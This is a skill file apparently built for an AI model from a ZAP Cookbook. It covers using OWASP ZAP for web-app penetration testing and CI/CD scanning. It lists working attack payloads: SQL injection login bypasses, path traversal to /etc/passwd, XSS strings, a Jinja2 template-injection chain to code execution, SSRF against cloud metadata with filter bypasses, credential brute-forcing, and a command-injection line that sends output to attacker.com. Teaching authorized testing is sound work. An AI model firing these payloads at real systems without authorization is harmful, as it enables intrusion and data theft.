ZAP Cookbook

Zed Attack Proxy Cookbook · Ryan Soper, Nestor N Torres, Ahmed Almoailu ·280 pages

Practical OWASP ZAP recipes for web app pentesting: Docker/GUI setup, Python API automation, spidering (traditional + AJAX), authentication bypass, IDOR, cookie security, CSRF, session hijacking, XSS/SQLi/SSTI/SSRF/command injection fuzzing, business logic manipulation, report generation, and CI/CD integration.

Capabilities (7)
  • Set up ZAP via Docker or GUI and configure browser proxy for HTTPS interception
  • Automate ZAP scans via Python API: spider, active scan, alert retrieval
  • Test authentication bypass using SQLi payloads, JWT manipulation, and credential fuzzing
  • Identify IDOR vulnerabilities by replaying requests with modified ID parameters
  • Fuzz input fields for XSS, SQLi, SSTI, and command injection using payload wordlists
  • Test SSRF with AWS metadata endpoint and bypass encoding techniques
  • Integrate ZAP baseline and full scans into CI/CD pipelines via Docker and GitHub Actions
How to use

Install this skill and Claude can configure OWASP ZAP for authorized web app assessments, automate scans via the Python API, craft authentication bypass and IDOR test cases, build injection fuzzing payloads for XSS/SQLi/SSTI/SSRF, and design ZAP baseline scan integration for CI/CD pipelines via Docker and GitHub Actions

Why it matters

Web application vulnerabilities remain the leading cause of data breaches, yet most development teams lack continuous security testing tooling — integrating ZAP into CI/CD pipelines shifts vulnerability discovery left and catches OWASP Top 10 issues before they reach production

Example use cases
  • Writing a ZAP Python API script that spiders a target web application, runs an active scan, filters alerts to High and Critical severity, and outputs a structured JSON report for triage
  • Testing an authenticated web application for IDOR by capturing a profile request in ZAP Requester and replaying it with modified user ID parameters from a second test account
  • Configuring a GitHub Actions workflow that runs a ZAP baseline scan against a pull request deployment preview and fails the build if any high-severity findings are detected

ZAP Cookbook Skill

Setup and Configuration

Initial ZAP Setup

# Docker (headless)
docker pull zaproxy/zap-stable
docker run -p 8080:8080 zaproxy/zap-stable zap.sh -daemon \
  -port 8080 -host 0.0.0.0 -config api.key=myapikey

# GUI launch
zaproxy &
# Default proxy: localhost:8080

# Configure browser proxy:
# Browser → Settings → Network → Manual proxy → localhost:8080
# Import ZAP CA certificate to browser for HTTPS interception

ZAP API (Headless Automation)

import requests

ZAP_URL = "http://localhost:8080"
API_KEY = "myapikey"

def zap_api(endpoint, params={}):
    params['apikey'] = API_KEY
    r = requests.get(f"{ZAP_URL}/JSON/{endpoint}", params=params)
    return r.json()

# Spider a target
zap_api("spider/action/scan/", {"url": "http://target.com"})
# Check spider progress
zap_api("spider/view/status/", {"scanId": "0"})

# Run active scan
zap_api("ascan/action/scan/", {"url": "http://target.com"})
# Check active scan progress
zap_api("ascan/view/status/", {"scanId": "0"})

# Get alerts
alerts = zap_api("core/view/alerts/", {"baseurl": "http://target.com"})

Crawling and Spidering

Traditional Spider

ZAP → Tools → Spider
1. Set target URL
2. Adjust scope: "In Scope" to prevent out-of-scope crawling
3. Configure max depth, thread count
4. Start spider → monitor Sites tree for discovered URLs
5. Review discovered content in Sites tree

Best for: static HTML, form discovery

AJAX Spider (JavaScript-Heavy Apps)

ZAP → Tools → AJAX Spider
1. Set target URL
2. Select browser (Firefox/Chrome headless or PhantomJS)
3. Configure crawl time limit (default: 60 minutes)
4. Start → ZAP controls browser, clicks JavaScript elements
5. Review Sites tree for SPA routes and API endpoints

Best for: React/Angular/Vue apps, dynamic content

Setting Scope

Right-click target in Sites tree → Include in Context → Default Context
Or: Context → Include in Context → Pattern: http://target.com.*

Benefits:
- Active scan only hits in-scope URLs
- Alerts filtered to context
- Authentication applies to context

Authentication Testing

Testing Authentication Bypass

ZAP approach:
1. Browse to login page → ZAP captures request in History
2. Right-click login request → Open/Resend in Requester
3. Test bypass techniques:
   a. SQL injection in username: admin' OR '1'='1
   b. SQL injection in password: anything' OR 'x'='x
   c. Blank password
   d. JWT manipulation (change algorithm to 'none', modify claims)
4. Compare response codes and body between valid/invalid

ZAP Fuzzer for credential brute force:
1. Select username or password field in request
2. Right-click → Fuzz
3. Add payload: File Fuzzers → usernames.txt / passwords.txt
4. Start fuzzer → sort by response size to find valid credentials

Default Credentials Testing

ZAP → Marketplace → Install "Default Credentials" add-on
Or manually test:
1. Identify application/technology (via headers, error pages, fingerprinting)
2. Fuzzer: Use SecLists/Passwords/Default-Credentials/ wordlist
3. admin:admin, admin:password, root:root, admin:1234 etc.

IDOR (Insecure Direct Object Reference)

ZAP workflow:
1. Capture request with ID parameter (e.g., /user/profile?id=123)
2. Right-click → Open/Resend in Requester
3. Change ID to another user's ID (e.g., id=124, id=1, id=999)
4. Compare responses:
   - Same response structure? → IDOR exists
   - 403/404? → Access control working

ZAP Active Scanner: automatically tests IDORs by incrementing numeric parameters
Rule: "Path Traversal" and "Parameter Tampering" in active scan

Directory Traversal / File Inclusion

Payloads to test (Fuzzer):
../../../etc/passwd
....//....//....//etc/passwd       (encoding bypass)
..%2F..%2F..%2Fetc%2Fpasswd        (URL encoding)
%252e%252e%252f (double URL encoding)

ZAP Fuzzer:
1. Select path or parameter in request
2. Add File Fuzzer → LFI-jhaddix.txt (from SecLists)
3. Run → filter responses for file contents (e.g., "root:")

Session Management Testing

ZAP → Right-click any response with Set-Cookie header → Cookie Analysis
Check for:
- HttpOnly flag missing → XSS can steal cookie
- Secure flag missing → cookie sent over HTTP
- SameSite=None without Secure → CSRF risk

ZAP Passive Scanner automatically flags:
- Cookie without HttpOnly (rule 10010)
- Cookie without Secure (rule 10011)
- Cookie without SameSite (rule 10054)

CSRF Testing

ZAP → Active Scanner → CSRF checks
Or manual:
1. Capture state-changing request (POST to /transfer, /delete, etc.)
2. Check for CSRF token in request
3. If no token: CSRF vulnerability
4. If token exists: test if it's validated
   - Remove token → does request succeed? → Broken
   - Change token value → does request succeed? → Broken
   - Use old token → does request succeed? → Broken

ZAP add-on: CSRF Tester (generates PoC HTML page)

Session Hijacking / Fixation

ZAP workflow:
1. Log in → capture session cookie value
2. Log out → note if session ID changes (fixation if same)
3. Test: manually set session cookie to pre-auth value → should fail
4. Session entropy: ZAP → Tools → Session Token Analyzer
   (analyzes randomness of token generation)

Passive rule 10111: "Session Management Response Identified"
Active rule: sends requests with modified session tokens

Input Validation Testing

XSS (Cross-Site Scripting)

ZAP active scanner: enabled by default — tests XSS in all parameters

Manual testing with Fuzzer:
1. Select parameter in GET/POST request
2. Add Payload → File Fuzzer → xss-payloads.txt
3. Filter by response containing <script> or alert(
4. Verify in browser context

Common payloads:
<script>alert(1)</script>
"><script>alert(1)</script>
'"><img src=x onerror=alert(1)>
javascript:alert(1)
<svg onload=alert(1)>

DOM-based XSS: ZAP AJAX Spider + passive scanner

SQL Injection

ZAP active scanner: rule 40018 (SQL Injection) — runs automatically

Manual Fuzzer:
1. Select parameter
2. Add payloads:
   '                          → single quote (error test)
   1' OR '1'='1              → always-true
   1' AND SLEEP(5)--          → time-based blind
   1' UNION SELECT NULL--     → UNION test
   1' UNION SELECT NULL,NULL--
3. Filter by: response time > 5s (time-based), response size change, SQL error messages

ZAP + sqlmap integration:
1. Right-click request → "Attack" → "SQL Injection Analysis (sqlmap)"
   (requires sqlmap add-on)

Server-Side Template Injection (SSTI)

Test input fields that reflect values back:
1. Enter: {{7*7}}
2. If response contains 49: SSTI exists (Jinja2/Twig/FreeMarker)

Engine detection:
{{7*7}}         → 49 (Jinja2, Twig)
${7*7}          → 49 (Freemarker, Groovy)
<%= 7*7 %>      → 49 (ERB/EJS)
{7*7}           → 49 (Smarty)

ZAP Fuzzer: SSTI payload list
RCE via SSTI (Jinja2):
{{''.__class__.__mro__[1].__subclasses__()[XXX].__init__.__globals__['os'].popen('id').read()}}

Server-Side Request Forgery (SSRF)

Test URL input fields:
1. Enter: http://169.254.169.254/latest/meta-data/ (AWS metadata)
2. Enter: http://internal-server.local/ (internal network access)
3. Enter: http://attacker.com/ssrf-test (OOB detection with Burp Collaborator/interactsh)

ZAP + Interactsh for OOB SSRF detection:
- Generate unique URL from interactsh
- Use as SSRF payload
- Monitor for DNS/HTTP callbacks

Bypass filter techniques:
http://169.254.169.254/             → blocked?
http://169.254.169.254.nip.io/     → DNS rebinding bypass
http://[::ffff:169.254.169.254]/   → IPv6 representation
http://0x64A8FEE2/                 → hex encoding of IP

Command Injection

ZAP: inject in input fields, HTTP headers (User-Agent, X-Forwarded-For, Referer)

Payloads:
; id
&& id
| id
`id`
$(id)
;curl http://attacker.com/$(id)     → OOB command injection

Blind injection (time-based):
; sleep 5
&& ping -c 5 127.0.0.1

ZAP Active Scanner: rule 90020 (Remote OS Command Injection)

Business Logic Testing

Request Forgery / Parameter Manipulation

ZAP approach for business logic:
1. Complete normal workflow while recording in ZAP
2. Replay with modified values:
   - Negative quantities: quantity=-1 (expect credit, not debit)
   - Price tampering: price=0.01 (bypass price validation)
   - Step skipping: jump from step 1 to step 3 (bypass approval)
   - Privilege escalation: role=admin in profile update

ZAP Requester:
1. Open any captured request in Requester tab
2. Modify parameters
3. Send and analyze response
4. Compare with expected business logic outcome

Generating Reports

ZAP → Reports → Generate Report
Formats: HTML, JSON, XML, Markdown
Include: Alerts, Risk level, Description, Evidence, Solution

Command line:
zap-cli report -o report.html -f html

Custom template: ZAP supports Freemarker templates for branded reports

API:
requests.get(f"{ZAP_URL}/OTHER/core/other/htmlreport/", params={'apikey': key})

ZAP Automation (CI/CD)

Baseline Scan Script

# Run ZAP baseline scan against target (passive only)
docker run -t zaproxy/zap-stable zap-baseline.py \
  -t http://target.com \
  -r report.html \
  -l WARN

# Full scan (active)
docker run -t zaproxy/zap-stable zap-full-scan.py \
  -t http://target.com \
  -r report.html \
  -l WARN \
  -z "-config api.key=mykey"

# API scan (OpenAPI/Swagger)
docker run -t zaproxy/zap-stable zap-api-scan.py \
  -t http://target.com/openapi.json \
  -f openapi \
  -r api-report.html

GitHub Actions Integration

- name: ZAP Baseline Scan
  uses: zaproxy/action-baseline@v0.10.0
  with:
    target: 'http://target.com'
    rules_file_name: '.zap/rules.tsv'
    fail_action: false
    artifact_name: 'zap-report'